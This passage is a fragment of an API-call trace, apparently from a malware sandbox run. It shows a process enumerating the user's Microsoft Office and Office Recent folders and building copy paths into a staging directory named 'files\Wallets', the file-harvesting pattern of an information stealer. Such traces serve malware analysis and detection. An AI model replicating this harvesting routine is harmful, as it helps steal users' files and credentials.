hFindFile=0x58a2c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0 [0052.256] FindClose (in: hFindFile=0x58a2c0 | out: hFindFile=0x58a2c0) returned 1 [0052.256] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.256] FindClose (in: hFindFile=0x589e00 | out: hFindFile=0x589e00) returned 1 [0052.256] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.256] FindClose (in: hFindFile=0x58a240 | out: hFindFile=0x58a240) returned 1 [0052.256] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.256] FindClose (in: hFindFile=0x58a200 | out: hFindFile=0x58a200) returned 1 [0052.256] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.256] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.256] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.256] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0052.256] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.256] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.256] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" [0052.256] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0052.256] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0052.256] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0052.256] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*.*" [0052.256] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a540 [0052.258] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\." [0052.258] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" [0052.258] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\" [0052.258] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\." [0052.258] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.258] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.258] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\.." [0052.258] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" [0052.258] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\" [0052.258] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\.." [0052.258] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.258] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.258] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.258] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="MSO1033.acl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" [0052.258] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" [0052.258] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\" [0052.258] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\", lpString2="MSO1033.acl" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\MSO1033.acl") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\MSO1033.acl" [0052.258] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.258] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.258] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office" [0052.258] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\" [0052.258] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\", lpString2="Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" [0052.258] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0052.258] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0052.258] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*.*" [0052.258] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a180 [0052.276] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0052.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\." [0052.276] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" [0052.276] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\" [0052.276] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\." [0052.276] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.276] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.276] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0052.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\.." [0052.277] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" [0052.277] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\" [0052.277] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\.." [0052.277] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.277] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.277] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.277] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0052.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Database1.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Database1.LNK" [0052.277] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" [0052.277] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\" [0052.277] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\", lpString2="Database1.LNK" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\Database1.LNK") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\Database1.LNK" [0052.277] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.277] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0052.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Documents.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK" [0052.277] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" [0052.277] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\" [0052.277] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\", lpString2="Documents.LNK" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\Documents.LNK") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\Documents.LNK" [0052.277] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.277] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0052.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Global.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" [0052.277] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" [0052.277] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\" [0052.277] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\", lpString2="Global.LNK" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\Global.LNK" [0052.277] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.277] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0052.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="index.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" [0052.278] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" [0052.278] lstrcatW 